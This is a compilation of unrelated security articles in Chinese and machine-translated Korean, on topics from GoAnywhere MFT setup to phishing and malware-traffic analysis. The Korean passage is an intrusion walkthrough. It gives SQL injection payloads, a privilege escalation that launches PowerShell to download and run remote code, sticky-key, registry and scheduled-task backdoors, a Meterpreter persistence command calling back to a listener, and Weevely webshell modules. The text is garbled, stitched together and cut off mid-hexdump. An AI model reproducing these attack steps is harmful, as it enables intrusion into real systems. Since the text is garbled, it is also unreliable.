打開防火牆允許外部訪問8090端口:iptables -I INPUT -p tcp --dport 8090 -j ACCEPT

啟動GoAnywhere進程:/opt/HelpSystems/GoAnywhere/goanywhere.sh start

0x03 數據庫操作GoAnywhere Managed File Transfer使用Apache Derby數據庫

Windows下默認數據庫存儲位置為:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

Linux下默認數據庫存儲位置為:/opt/HelpSystems/GoAnywhere/userdata/database/goanywhere/

數據庫操作的實現細節可從lib文件夾下的ga_classes.jar獲得

從中我們可以得到Web用戶口令加密的實現細節,對應位置:C:\Program Files\HelpSystems\GoAnywhere\lib\ga_classes.jar!\com\linoma\ga\ui\admin\action\user\ChangeUserPasswordAction.class

提取出的Java實現代碼如下:

1.png

1.讀取Derby數據庫(1)命令行實現

使用Apache Derby,下載地址:https://archive.apache.org/dist/db/derby/db-derby-10.14.2.0/db-derby-10.14.2.0-bin.zip

運行bin目錄下的ij.bat

連接數據庫:connect 'jdbc:derby:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere;';

查詢用戶配置:SELECT * FROM DPA_USER;

(2)界面化實現

使用DBSchema,下載地址:https://dbschema.com/download.html

啟動DBSchema後,選擇連接Derby數據庫,JDBC Driver選擇derbytools.jar org.apache.derby.jdbc.EmbeddedDriver,Folder選擇C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

查詢用戶數據表,如下圖

下载.png

可以看到默認用戶有以下三個:

Administrator,未啟用

root,未啟用

admin,默認用戶

2.修改數據庫GoAnywhere Managed File Transfer的Derby數據庫使用了內嵌模式,其他應用程序不可訪問,所以有以下兩種修改數據的方法:

(1)GoAnywhere Managed File Transfer處於運行狀態

可以通過寫入jsp文件實現數據庫的修改

(2)GoAnywhere Managed File Transfer處於關閉狀態

可以選擇Apache Derby或DBSchema打開數據庫文件夾,直接進行修改

修改數據庫的命令示例:

啟用root用戶:UPDATE APP.DPA_USER SET ENABLED='1' WHERE USER_NAME='root';

設置root用戶口令:UPDATE APP.DPA_USER SET USER_PASS='$5$mpoe6zI4B6+LHRMdbFKr8g==$RnAILbYe9KDauKE3wXTFVvlXQNZeM4Z2c7x1aEtME/U=' WHERE USER_NAME='root';

0x04 小結在我們搭建好GoAnywhere Managed File Transfer漏洞調試環境後,接下來就可以著手對漏洞進行學習。

概要:“薪資調整”類釣魚郵件激增本週(2023年7月3日~7日),網際思安麥賽安全實驗室(MailSec Lab)觀察到大量新增的“薪資調整”類釣魚郵件攻擊,並做了詳細的風險特徵、攻擊溯源等技術研究與分析,請各企事業單位及時做好相關的防護。

熱點描述:關於此批“薪資調整”類釣魚郵件的典型樣本郵件,如下圖所示:

圖1. 關於薪資調整通知的釣魚郵件

1.jpg

該郵件通過偽造“薪資調整”通知,誘導員工點擊郵件正文中URL超鏈接,從而訪問精心構造的釣魚網站。當員工輸入其郵箱帳號和密碼後,攻擊者將獲得該私人賬戶信息,並可利用該信息成功登陸員工的私人郵件賬戶。

圖2. 點擊超鏈接後訪問的釣魚網站

2.jpg

圖3. 記錄帳號信息,並模擬系統繁忙

3.jpg

專家分析:MailSec Lab的技術專家從源IP、URL鏈接、郵件頭、郵件內容等方面,對此郵件的風險特徵進行了詳盡的技術分析。

l 郵件頭分析:X-Mailer字段此類風險郵件的頭部包含的“X-Mailer”字段值為“Supmailer 38.1.2”。

圖4. 郵件頭部X-Mailer字段展示

4.jpg

X-Mailer字段表明了攻擊者通過Supmailer軟件的38.1.2版本來發送釣魚郵件。 Supmailer是由一家德國公司研發的,用於批量創建和發送廣告郵件的軟件。該軟件的官方網站是“https://int.supermailer.de/”。該文件頭字段表明郵件發送者通過使用Supmailer軟件群發釣魚郵件,而非正常使用Outlook, Foxmail等郵件客戶端發送郵件。

圖5. Supmailer官方網站

5.jpg

圖6. Supmailer廣告郵件群發軟件界面截圖

6.jpg

l 郵件頭分析:源IP字段通過對郵件頭字段的分析可知,在該釣魚郵件到達公司之前,分別先後經過了221.235.220.134和218.70.153.165兩跳IP地址。

圖7. 郵件頭部源IP字段展示

7.jpg

查詢覆蓋全球的91個RBL數據源,檢測結果如下。兩個外部IP地址被列入了多達10多個的RBL黑名單。

序列號URL/IP被列為黑名單的RBL名稱1

218.70.153.165

Anonmails DNSBL

2

BARRACUDA

3

Sender Score Reputation Network

4

SORBS SPAM

5

Spamhaus ZEN

6

UCEPROTECTL2

7

TRUNCATE

8

UCEPROTECTL3

9

221.235.220.134

RATS NoPtr

10

Spamhaus ZEN

11

UCEPROTECTL2

12

UCEPROTECTL3

l URL超鏈接分析對URL鏈接的Whois信息進行查詢。該網站於1個多月前建立(2023年5月22日),並且服務器位於香港,因此不用進行公安註冊。此類新建設且未進行公安部註冊的網站大概率被用於發起黑客攻擊。

圖8 郵件中URL鏈接的Whois信息

8.jpg

對該IP進行域名反查,可得知該IP地址下共服務了42個域名,其中有近20個域名被威脅情報識別為惡意域名。由此可見,該IP下的服務器被攻擊者用於批量建設釣魚網站。

圖9. 同一個IP下有近20個惡意域名

9.jpg

並且該URL超鏈接的域名被知名威脅情報也列為惡意域名:

圖10. 該域名被威脅情報列為惡意域名

10.jpg

郵件正文中URL鏈接格式如下:https://mail-al.cn/#contact@

一、 簡介這篇研究論文將通過黑客的視角,詳細闡述如何操作NAND dump 以及如何獲取dump 文件中的所有文件。每一步驟以及所使用的方法均會細緻解析,並配以實例說明。本文主要關注的是物理NAND dump,這是從通用編程器中提取出的dump 文件。相對應地,從引導加載程序(如u-boot)中獲得的dump 文件被稱為邏輯NAND dump。

對於邏輯NAND dump,數據的正確性由Flash Translation Layer (FTL)負責維護。也就是說,FTL 會藉助Error Correcting Code (ECC)自動修復所有的位錯誤。然而,物理NAND dump 中的數據通常會攜帶ECC,這就需要我們自行推斷如何利用ECC 確保數據的準確性。如果數據中存在位錯誤,理應使用ECC 進行適當的糾錯。然而,推斷ECC 與數據如何相關聯並非易事。若無法確定ECC 和數據的關聯性,也就無法利用ECC 修復數據中的位錯誤。因此,必須對NAND dump 進行系統的深度分析,揭示ECC 和數據之間的密切關聯。在此情境下,盲目嘗試暴力破解並非明智之舉,但是如果能藉助深度分析的結果,盲目的暴力破解可以轉化為有目的性的暴力破解。這樣,獲取ECC 和數據之間密切關聯的可能性將得以最大化。

修復數據中的位錯誤並移除ECC 之後,NAND dump 就由物理形態轉化為邏輯形態,此時便可以開始對實際的固件圖像進行分析。作為論文的實際案例,我們將處理一個UBI 鏡像,並對UBI 鏡像的分析進行詳細的討論。根據從UBI 鏡像分析中得到的關鍵信息,我們提出了一個創新性的方法來恢復文件系統並提取文件系統內部承載的所有文件。需要特別注意的是,本論文討論的整個過程無法通過像binwalk 或unblob 這樣的自動化工具複製。此外,整個分析過程都會以手動、逐步的方式呈現,以確保所有步驟和概念都能夠得到清晰的解釋。現在,我們將不再糾結於理論討論,而是進入實際的NAND dump 分析環節,進行詳細的介紹。

二、 NAND 轉儲分析

首先,讓我們從一些基礎的概念開始探討。一個NAND 閃存包含許多稱為'頁面'的單元,它們都是固定的大小,並以一定數量的'頁面'組成一個'塊'。鑑於我們的樣本NAND dump 是從一個實際的NAND 芯片中獲取的,型號為MT29F2G08ABAEAWP,因此我們將以它為例,來介紹相關的硬件技術規範。

對於MT29F2G08ABAEAWP 這款芯片,一個'頁面'的大小是2112 字節,其中包括2048 字節的主數據和64 字節的額外數據。 64 個'頁面'組成一個'塊',而2048 個這樣的'塊'構成了整個NAND 閃存的存儲空間,總計有2048*64=131072 個'頁面'。

對於每一個大小為2112 字節的'頁面',前2048 字節用於數據存儲,剩餘的64 字節則作為備用區域,用於承載錯誤糾正代碼(Error Correcting Code, ECC)或某些供應商特定的元數據。在一些文獻中,這部分備用區域有時也被稱為Out Of Band(OOB)。

對於我們的樣本NAND dump,如果我們在十六進制模式下查看,會發現第一個'頁面'中,地址從0x0000 到0x07ff 的部分是數據區,地址從0x0800 到0x083f 的部分是備用區或OOB 區,具體示意如下。作為NAND 轉儲樣本的概述。

cawan%hexdump-C-n2112./MT29F2G08ABAEAWP@TSOP48.BIN

000000002054564e00020000a0ac0000ffffffff|TVN..|

0000001055aa55aa2e000000200200b000000001|U.U..|

00000020640200b0180000c0200200b018000001|d..|

00000030aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000040281800b04ad8dc53081800b014800000|(.J.S.|

00000050aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000060aa55aa5501000000001800b076040300|.U.U.v.|

00000070aa55aa5501000000041800b021000000|.U.U..|

00000080aa55aa5501000000041800b023000000|.U.U.#.|

00000090aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000a0aa55aa5501000000041800b027000000|.U.U.'.|

000000b0aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000c0aa55aa5501000000201800b000000000|.U.U..|

000000d0241800b0000000001c1800b000400000|$..@.|

000000e0181800b032030000101800b006000000|.2..|

000000f0041800b027000000aa55aa5501000000|.'.U.U.|

00000100aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000110041800b02b000000041800b02b000000|.+.+.|

00000120041800b02b000000181800b032020000|.+.2.|

000001301c1800b0814700001c1800b001440000|.G.D.|

00000140041800b020000000341800b020888800|.4.|

00000150aa55aa5501000000180200b008000000|.U.U..|

00000160603100b800800000a03100b800800000|1.1.|

000001702c0200b0000100002c0200b000010000|,.|

000001802c0200b0000100000000000000000000|,.|

00000190130000ea14f09fe510f09fe50cf09fe5|..|

000001a008f09fe504f09fe500f09fe504f01fe5|..|

000001b020030000785634127856341278563412|.xV4.xV4.xV4.|

000001c078563412785634127856341278563412|xV4.xV4.xV4.xV4.|

000001d000020000a0ac000080b50000a0ac0000|..|

000001e0dec0ad0b00000fe11f00c0e3d30080e3|..|

000001f000f029e1bcd09fe507d0cde30000a0e3|.)..|

00000200700500eb0040a0e10150a0e10260a0e1|p.@.P.|

0000021004d0a0e18c004fe2009046e0060050e1|.O.F.P.|

000002200600000a0610a0e15c301fe5032080e0|.\0.|

000002300006b0e80006a1e8020050e1fbffff3a|..P.|

0000024074009fe574109fe50020a0e3010050e1|t.t.P.|

000002500200002a002080e5040080e2faffffea|.*..|

0000026000009fe500f0a0e154060000a0ac0000|.T.|

00000270a0ac0000a0ac00000000a0e3170f07ee|..|

00000280170f08ee100f11ee230cc0e38700c0e3|.#.|

00000290020080e3010a80e3100f01ee0ec0a0e1|..|

000002a00a0000eb0ce0a0e10ef0a0e10000a0e1|..|

000002b0e8d01fe5feffffeb008000bca0ae0000|..|

000002c080b700000000a0e10000a0e10000a0e1|..|

000002d068009fe50010e0e3001080e500000fe1|h..|

000002e0c00080e300f021e154009fe554109fe5|.T.T.|

000002f0001080e550009fe550109fe5001080e5|.P.P.|

000003004c009fe50514a0e3001080e544009fe5|L..D.|

0000031044109fe5001080e5032aa0e3012052e2|D.*.R.|

00000320fdffff1a20009fe530109fe5001080e5|.0.|

00000330012ba0e3012052e2fdffff1a0ef0a0e1|.+.R..|

00000340242100b8041000b084000440040200b0|$!@.|

00000350ff0f0000080200b00c0200b0244f0000|..$O.|

00000360fc0f0000000000000000000000000000|..|

00000370000051e31f00000a0130a0e30020a0e3|.Q.0.|

00000380010050e11900003a010251e300005131|.P.Q.Q1|

000003900112a0310332a031faffff3a020151e3|.1.2.1.Q.|

000003a0000051318110a0318330a031faffff3a|.Q1.1.0.1.|

000003b0010050e10100402003208221a10050e1|.P.@.P.|

000003c0a1004020a3208221210150e121014020|.@.P.@|

000003d023218221a10150e1a1014020a3218221|#!P.@.|

000003e0000050e32332b0112112a011efffff1a|.P.#2..|

000003f00200a0e10ef0a0e104e02de5c91c00eb|..-.|

000004000000a0e30080bde803502de9d7ffffeb|..P-.|

000004100650bde8900203e0031041e00ef0a0e1|.P.A.|

0000042003502de9090000eb0650bde8900203e0|.P-.P.|

00000430031041e00ef0a0e10000a0e10000a0e1|.A..|

000004400000a0e10000a0e10000a0e10000a0e1|..|

00000450000051e301c020e04200000a00106142|.Q.B.aB|

00000460012051e22700000a0030b0e100306042|.Q.'.0.0B|

00000470010053e12600009a020011e12800000a|.S.(.|

000004800e0211e38111a0010820a0030120a013|..|

00000490010251e3030051310112a0310222a031|.Q.Q1.1.'.1|

000004a0faffff3a020151e3030051318110a031|.Q.Q1.1|

000004b08220a031faffff3a0000a0e3010053e1|.1..S.|

000004c00130432002008021a10053e1a1304320|.0C.S.0C|

000004d0a2008021210153e12131432022018021|.S.1C'.|

000004e0a10153e1a1314320a2018021000053e3|.S.1C.S.|

000004f02222b0112112a011efffff1a00005ce3|''..\.|

00000500000060420ef0a0e100003ce100006042|.B..B|

000005100ef0a0e10000a033cc0fa00101008003|.3.|

000005200ef0a0e1010851e32118a0211020a023|.Q.#|

000005300020a033010c51e32114a02108208222|.3.Q.'|

00000540100051e32112a02104208222040051e3|.Q.'.Q.|

0000055003208282a120829000005ce33302a0e1|.\.3.|

00000560000060420ef0a0e104e02de56d1c00eb|.B.-.m.|

000005700000a0e304f09de40000a0e10000a0e1|..|

000005800000a0e10000a0e10000a0e10000a0e1|..|

00000590203052e220c062e23002a0413103a051|0R.b.0.A1.Q|

000005a0110c80413112a0e10ef0a0e1203052e2|.A1.0R.|

000005b020c062e21112a0411013a051301c8141|.b.A.Q0.A|

000005c01002a0e10ef0a0e1203052e220c062e2|.0R.b.|

000005d03002a0415103a051110c80415112a0e1|0.AQ.Q.AQ.|

000005e00ef0a0e12dde4de20040a0e36c319fe5|.-.M.@.l1.|

000005f00d00a0e100308de504308de51c408de5|.0.0.@.|

00000600bcd28de530408de550408de5d10100eb|.0@.P@.|

000006101c309de5040053e10200000a0410a0e1|.0.S..|

000006208a0f8de233ff2fe18a0f8de20110a0e3|.3./..|

00000630ca1a00eb000050e34600001a700400eb|.P.F.p.|

0000064038429de53c529de50400a0e10510a0e1|8B.R..|

0000065046ffffeb0410a0e10ea6a0e300b0a0e1|F..|

000006600a08a0e341ffffeb0410a0e10070a0e1|.A.p.|

00000670ec009fe53dffffeb0410a0e10090a0e1|.=..|

000006800a08a0e35fffffeb0100a0e10

이 스테이션은 정말 크다. 아니,이 스테이션은 정말로 둥글다.

图片 한 번의 주입

图片 图片 32 비트 만 읽을 수 있기 때문에 서브 스트링을 사용하여 별도로 읽습니다.

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,concat(0x7e,(select

관리자 제한 1,1),0x7e))%20#의 비밀번호

https://aaaaa.com/1.php?id=210%20and%20ExtractValue(1,Concat(0x7e,substring (substring) ((evelect

관리자 제한 1,1), 30,35),0x7e)))%20#

图片 편안한 느낌이 들었습니다. 이제 들어가서 속옷을 공개적으로 선택할 수 있습니다.

0x02 쉘을 가져 와서 robots.txt를 참조하십시오

图片INURL:A.com 관리자

배경에 들어가면 나는 그것이 ECShop이라는 것을 알았습니다. 여기서 파일은 우회 된 이미지로 변경되었습니다.

图片는 재설정 된 것 같습니다

여기서 나는 SQL 문을 실행할 수 있고 절대 경로 누출이 있음을 발견했습니다.

图片 图片OK 방금 문장을 작성하십시오

图片0x03 라이센스 图片 권한은 약간 낮습니다

图片 MySQL을 사용하는 다른 방법은 없습니다.

图片 MySQL 권리를 높이려고 노력하십시오

图片 图片 업로드 할 수없는 디렉토리를 제외하고 다른 모든 조건이 충족되므로 CS, PowerShell Online으로 이동하십시오.

图片 자세한 내용은 Juicy Potato를 사용하십시오. Sanhao 학생들의 기사를 참조하십시오. 원하는 clsid를 선택하십시오. 링크

图片 그러면 우리는 시스템 권한으로 PowerShell을 실행하고 있습니다

Shell Style.exe -p 'powerShell.exe -nop -w hidden -c \'iex ((New -Object net.webclient) .downloadString ( 'powerShell address')) \ ''-c {e60687f7f7-01a1-40AA -86AC -DB1CBF67334} 여기에 두 배가 인용문을 기억하십시오.

图片0x04 수평 침투 图片은 작업 그룹 환경이며 0.9를 스캔하며 웹이기도합니다. 다음은 해시 패스이며 해시를 잡기 위해 직접 전송됩니다. 현재 다음 계정이 있습니다

wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin

WDAGUTINITYACCOUNT

일반 해시 배송-

图片 웹이어야하는 데모, 그리고 0.7은 데이터베이스 서버 일 수 있습니다.

모든 관리자 권한을 사용할 수 있습니다. 시스템을 얻으려면 SelectMyparent를 사용할 수 있습니다. 실제로 새로운 프로세스에서 시스템 프로세스의 아동 프로세스를 설정하는 것은 J입니다. 여기서 우리는 CS 말을 사용합니다. 먼저 Winlogon.exe의 PID를 확인하십시오.

당신은 그것이 500임을 알 수 있습니다

图片 그런 다음 System.Exe를 업로드하고 Shell SelectMyparent.exe System.exe 500을 실행하십시오.

图片이 단계는 실제로 단어 수를 구성하는 것입니다.

0x05 : 여기에서 권한이 유지되며 로컬 테스트를 수행합니다.

끈적 끈적한 키 백도어 끈적 끈

图片 스티커 키는 동시에 두 개 이상의 키를 누르는 데 어려움이있는 사람들을 위해 설계된 컴퓨터에 사용되는 바로 가기 키를 나타냅니다. 끈적 끈적한 본드의 주요 기능은 시프트와 다른 키의 조합을 용이하게하는 것입니다. 스티커 키는 먼저 (예 : Shift)를 누르고 다른 키를 동시에 누르는 대신 다른 키를 누르지 않고 물리적 인 이유로 인해 여러 키를 동시에 누를 수없는 일부 사람들에게 편리합니다. 일반적인 컴퓨터는 시프트를 5 번 누를 때 끈적 끈적한 키 프롬프트가 있습니다.

다음 명령을 사용하십시오

CD Wind 관리자에게 권한을 수정하십시오.

图片 图片 图片 图片 그런 다음 전체 제어로 수정하십시오.

图片 图片 이제 우리는 5 번 연속으로 교대를 누르고 시스템 권한 CMD가 팝업됩니다.

图片 주입 백도어 등록

일반 사용자 권한에 따라 공격자는 레지스트리에 실행 해야하는 백도어 프로그램 또는 스크립트 경로를 작성합니다.

hkey_local_machine \ 소프트웨어 \ Microsoft \ Windows \ currentversion \ run

키 값은 임의로 설정할 수 있거나 다음 명령을 실행하여 시작 항목을 직접 추가 할 수 있습니다.

'hkey_local_machine \ 소프트웨어 \ microsoft \ Windows \ currentVersion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'관리자가 시스템에 다시 로그인하면 백도어 프로그램이 실행됩니다.

图片 계획 작업의 백도

명령 :schtasks /create /tn updater /tr c: \ shell.exe /sc 시간별 /mo 명령 위의 명령은 한 시간에 한 번 shell.exe를 실행하고 Win7 이하와 같은 시스템에서 schtasks 대신 AT 명령을 사용합니다.

미터 프리터 백도어

MeterPreter Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

자동으로 매칭을 시작합니다

Exploit/Multi/Handler 프록시에 연결하려면 -L % temp %를 사용하지 않으면 페이로드의 위치가 대상 호스트에 기록됩니다.

-P 페이로드 사용량, 기본값은 Windows/MeterPreter/Reverse_TCP입니다.

-S는 자동으로 트로이 목마를 서비스로 시작합니다 (시스템 권한 포함)

-T 대체 실행 템플릿을 사용할 수 있습니다

-U 사용자가 로그인하면 트로이 목마가 자동으로 시작됩니다.

-X 시스템 부츠가 부츠를 부팅 할 때 트로이 목마가 자동으로 시작됩니다.

-H이 도움말 메뉴

-각 연결 시도 (초) 사이의 시간 간격

-P 포트 Metasploit를 실행하는 시스템이 듣고 있습니다.

-R 시스템의 IP 연결을 듣고 있습니다.

단점은 바이러스 백신 소프트웨어로 감지하기 쉽고 대상 시스템에 새 VBS 파일을 생성 한 다음 매번 자동으로 시작한다는 것입니다.图片Web Backdoor, Weevely를 사용하여 Shell.php를 생성하여 테스트 할 수 있습니다.

图片 图片 파일을 서버 디렉토리에 넣고 실행하십시오.

Weevely http://192.168.220.1/shell.phpshell은 도움을 볼 수 있습니다

Audit.etcpasswd | /etc /passwd audit.userfiles | 사용자/home audit.mapwebfiles에 따라 권한이있는 파일을 나열합니다 모든 웹 사이트 Shell.php |의 URL 링크를 열거하십시오 php 파일 shell.sh |를 쓰십시오 시스템 스크립트 시스템을 작성하십시오 시스템 정보 찾기 수집 .suidsgid | suid/sgid 파일 및 디렉토리 찾기 찾기 읽기 가능/쓰기/실행 파일 및 디렉토리 Backdoor.tcp | TCP 포트 백도어 백도어 .reversetcp | 리바운드 TCP 연결 BruteForce.sql | BLAST 지정된 데이터베이스 사용자 이름 및 비밀번호 BruteForce.sqlusers | 모든 데이터베이스 사용자 비밀번호 파일을 폭파하십시오. upload | 로컬 파일 파일을 업로드 .upload2web | 바이너리/ASCII 파일을 사이트 폴더를 대상으로 업로드하고 URL 파일을 열거합니다. 로컬 어휘 파일에서 원격 파일을 서면 형식으로 열거합니다. 파일 파일을 읽으십시오 .RM | 파일 파일 삭제 .Check | 원격 파일의 상태 (MD5 값, 크기, 권한 등) 파일. 다운로드 | 원격 바이너리/ASCII 파일을 로컬 sql.console |에 다운로드하십시오 SQL 콘솔 SQL.dump 시작 | 백업 데이터베이스, 즉 제한 NET.SCAN | 포트 스캔 net.phpproxy | 원격 PHP 프록시 네트를 설치하십시오. Ifaces | 원격 호스트 네트워크 인터페이스 정보 net.proxy | Windows 명령을 실행하려면 터널 통신 에이전트를 설치하십시오.

图片 내장 명령을 보급하십시오

图片 图片 원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=mzg2ndywmda1na==mid=mid=22474826idx=2SN=8F11B7CC12F6C5DFBB5eeeeb316f14f460ch KSM=CE67A31BF9102A0D70487584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5SCENE=21#WECHAT_REDIGRECT

data_darknet_abstract-1200x600.jpg

每年都會有大量的公司發生重大數據洩露事件,例如2022年Medibank和Optus的數據洩露、Twitter的數據洩露、Uber和Rockstar的數據洩露以及2023年T-Mobile、MailChimp和OpenAI的數據洩露。在2022年,卡巴斯基實驗室列出了全球700家來自不同行業的公司,然後在暗網上搜索,試圖分析這些公司遭受攻擊的可能性有多大?

研究發現,暗網裡的帖子都是關於出售受攻擊帳戶、內部數據庫和文檔,以及訪問公司基礎設施。雖然暗網確實促進了各種數據類型的銷售,例如,銀行卡信息、駕駛執照和身份證照片等,但本文重點還是放在了與企業特別相關的信息上。研究發現700家公司中有223家在暗網上被提及,洩露數據的主題也不同。

1.png

各行業分佈

這意味著三分之一的公司在與銷售數據或訪問相關的暗網帖子中被引用,即使是網絡安全成熟度高的公司也避免不了被黑客攻擊。

本文提供了一個統計概述,包括所有暗網帖子,涉及2022年1月至2023年11月期間出售、購買或免費傳播受攻擊帳戶的數據。

數據洩露數據洩露會暴露機密、敏感信息,並可能導致重大問題。最常見的例子是數據庫和內部文檔,因為所有有一定規模的公司都使用機密數據,洩露會影響公司本身、員工和客戶。

暗網上每月大約有1700個新的帖子出現,涉及銷售、傳播或購買洩露數據。

2.png

2022年1月至2023年11月與數據庫出售/購買相關的消息數量

應該注意的是,並不是每條消息都代表一條最新出現的洩漏,其中有些是重複的廣告相同洩漏。

3.png

一個組合報價的示例

另一種流行的洩露類型是收集公共數據的數據庫,如姓名、個人資料、id和電子郵件,這些數據來自流行的社交網絡。它們是開發攻擊的寶貴來源。 2021年,超過7億LinkedIn用戶和5.33億Facebook用戶的個人信息被抓取並發佈在暗網上。

4.png

4.2.png

洩露的LinkedIn數據庫分佈示例

基礎設施的訪問以下是網絡攻擊者獲取企業基礎設施初始訪問權限以進行攻擊的最常見行為:

1.利用軟件漏洞。例如,對企業web資源的攻擊,利用跨網站組件的1日漏洞,SQL注入,訪問易受攻擊的web應用程序控制面板等。

2.獲得合法的公司證書。例如,使用竊取日誌中的數據或密碼挖掘。

3.針對員工的網絡釣魚攻擊。例如,帶有惡意負載的電子郵件。

特別要提的是盜用合法賬戶的方法。這些駐留在受感染設備中的惡意程序收集各種帳戶和支付數據、cookie文件、授權令牌等,並保存到日誌中。網絡攻擊者掃描這些日誌,尋找他們可以利用和賺錢的數據,一些人在尋找信用卡數據,另一些人在尋找域名賬戶,社交網絡賬戶等,他們把這個階段稱為加工。在整理完日誌後,他們要么在論壇上公開交換自己的發現,要么把它們賣給個人買家。

關於漏洞(例如SQL注入)和合法憑據(例如RDP/SSH)的信息,對於收入可觀的公司來說,定價會非常不同,因為它們提供了不同的成功攻擊概率。出售帳戶以訪問遠程管理接口(RDP、SSH)意味著已經獲得了對公司網絡基礎設施系統的訪問權限,而漏洞僅僅提供了實現類似級別訪問的機會。即使涉及到同樣的問題,比如SQL注入,也有許多因素影響攻擊的潛在發展,比如易受攻擊的主機位置(例如,公司網絡或云服務器),預期的漏洞利用技術,數據庫容量等,

基礎設施訪問受歡迎的原因很簡單,複雜的攻擊幾乎總是包括幾個階段,例如偵察、對基礎設施的初始訪問、獲得對目標系統或特權的訪問,以及實際的惡意行為(數據盜竊、破壞或加密等)。不同的階段需要不同的專業知識,因此網絡攻擊者往往具有專業知識,容易獲得訪問權限的人可能在攻擊的發展中面臨困難。在這種情況下,購買初始訪問權限簡化了攻擊,對於經驗豐富的網絡罪犯來說很划算。

對於希望降低與基礎設施訪問銷售相關的風險的企業來說,第一個挑戰是了解銷售情況。與其他類型的數據相比,這種數據類型的巨大區別在於,網絡攻擊者不喜歡在消息中提及公司的名稱,以免失去訪問權限,即使有人提到了名字,社區也會建議他們不要分享多餘的信息。

5.png

對提供出售的帖子發表評論

在這種情況下,如何跟踪此威脅?網絡攻擊者通常會在信息中加入一些屬性,比如地理位置、行業、公司規模和年收入。

6.png

6.2.png

6.3.png

一些帶有公司屬性論壇消息的示例

在2022年,研究人員發現了大約3000個獨立的基礎設施項目,到2023年11月,我們已經找到了超過3100份報價。通常,被黑客攻擊的企業基礎設施包括企業VPN服務的帳戶和內部網絡中的一些服務器或主機(通常,訪問是通過RDP或web shell執行的)。

7.png

2022年1月至2023年11月提供的基礎設施訪問的消息數量

賬戶被盜還有另一類數據是獲得初始訪問權限的真正發現,受攻擊帳戶。根據來源,研究人員將所有受攻擊賬戶分為三類:

1.在網絡威脅組織中自由傳播的公開秘密。

2.在黑客論壇和私人聊天中出售的具有有限訪問權限的漏洞,有時這些只是包含未經驗證的信息的小型數據庫。

3.在暗網論壇上發布的惡意軟件日誌中洩露的用戶賬戶。由於REDLINE和VIDAR這樣的信息竊取程序,這些憑證變得可用,現在可以通過惡意軟件即服務在網絡犯罪社區中輕鬆訪問。

乍一看,網絡攻擊者沒有理由免費共享憑證。然而,如果他們不再需要這些數據,並希望在特定的暗網論壇上提高他們在網絡犯罪社區中的比率,他們仍然可以這樣做。此外,他們還可以發布一些包含受攻擊帳戶的惡意軟件日誌文件,以進行下一次銷售。

這三種類型的證書洩露都對公司造成了威脅,有些員工不顧禁令,使用公司電子郵件地址在第三方網站上註冊。在典型情況下,公司員工對外部服務和公司資源使用相同的密碼,有助於網絡攻擊者未經授權便訪問公司基礎設施。

惡意軟件分析涵蓋一系列活動,其中包括仔細檢查惡意軟件的網絡流量。要想有效地做好這項工作,關鍵在於要了解常見的威脅以及如何克服這些威脅。下面將介紹企業可能遇到的三個常見問題以及解決它們所需要的工具。

解密HTTPS流量超文本安全傳輸協議(HTTPS)原本是一種確保安全在線通信的協議,如今卻已經成為了惡意軟件隱藏其惡意活動的一種工具。通過偽裝受感染設備與指揮和控制(CC)服務器之間的數據交換,惡意軟件就可以在不被發覺的情況下運行,往外洩露敏感數據,安裝額外的攻擊載荷,並接收來自攻擊者團伙的指令。

然而,如果有合適的工具,解密HTTPS流量就輕而易舉。為此,我們可以使用中間人(MITM)代理,MITM代理充當了客戶機與服務器之間的中介,可以攔截兩者之間傳輸的信息。

MITM代理幫助分析人員實時監控惡意軟件的網絡流量,以便他們清楚地了解惡意活動。除此之外,分析人員還可以訪問請求和響應數據包的內容、IP以及URL,以查看惡意軟件通信的詳細信息,並識別竊取的數據,這種工具對於提取惡意軟件使用的SSL密鑰特別有用。

1.png

圖1. ANY.RUN沙箱提供的有關AxileStealer的信息

在這個例子中,初始文件(大小為237.06 KB)投放AxilStealer的可執行文件(大小為129.54 KB)。作為一種典型的信息竊取器,它獲得了訪問存儲在網絡瀏覽器中的密碼的權限,開始通過Telegram消息傳遞連接將密碼傳輸給攻擊者。

規則“STEALER [ANY.RUN] Attempt to exfiltrate via Telegram”(STEALER [ANY.RUN]企圖通過Telegram往外洩露)表明了惡意活動。由於MITM代理功能,惡意軟件的流量已被解密,揭露了這個事件的更多細節。

發現惡意軟件家族識別惡意軟件家族是任何網絡調查工作的一個關鍵部分。 Yara規則和Suricata規則是用於這項任務的兩種常用工具,但在處理服務器不再活躍的惡意軟件樣本時,它們的有效性卻可能受到限制。

FakeNET為此提供了一個解決方案,即創建一條虛假的服務器連接來響應惡意軟件請求,誘騙惡意軟件發送請求可以觸發Suricata規則或YARA規則,該規則可以準確識別惡意軟件家族。

2.png

圖2. ANY.RUN沙箱檢測到的非活躍服務器

在分析該樣本時,沙箱指出了惡意軟件的服務器沒有響應這個事實。

3.png

圖3. 使用FakeNET識別出來的Smoke Loader惡意軟件

然而,在啟用FakeNET功能後,該惡意軟件立即向虛假的服務器發送請求,觸發識別出它是Smoke Loader的網絡規則。

捕捉針對特定地區的隱蔽性惡意軟件許多攻擊和網絡釣魚活動將目光重點投向特定的地區或國家。隨後,它們結合IP地理位置、語言檢測或網站屏蔽等機制,這些機制可能會限制分析人員檢測它們的能力。

除了針對特定地區外,惡意軟件團伙還可能利用一些技術來逃避沙箱環境中的分析活動。一種常見的方法是驗證系統是否正在使用數據中心IP地址。一旦予以證實,惡意軟件就停止執行。

為了克服這些障礙,分析人員使用了住宅代理。這種出色工具的工作原理是,將分析人員的設備或虛擬機的IP地址換成來自世界不同地區的普通用戶的住宅IP。

這項功能使專業人員能夠通過模仿本地用戶來繞過地理限制,並在不暴露其沙箱環境的情況下研究惡意活動。

4.png

圖4. 使用FakeNET識別出來的Smoke Loader惡意軟件

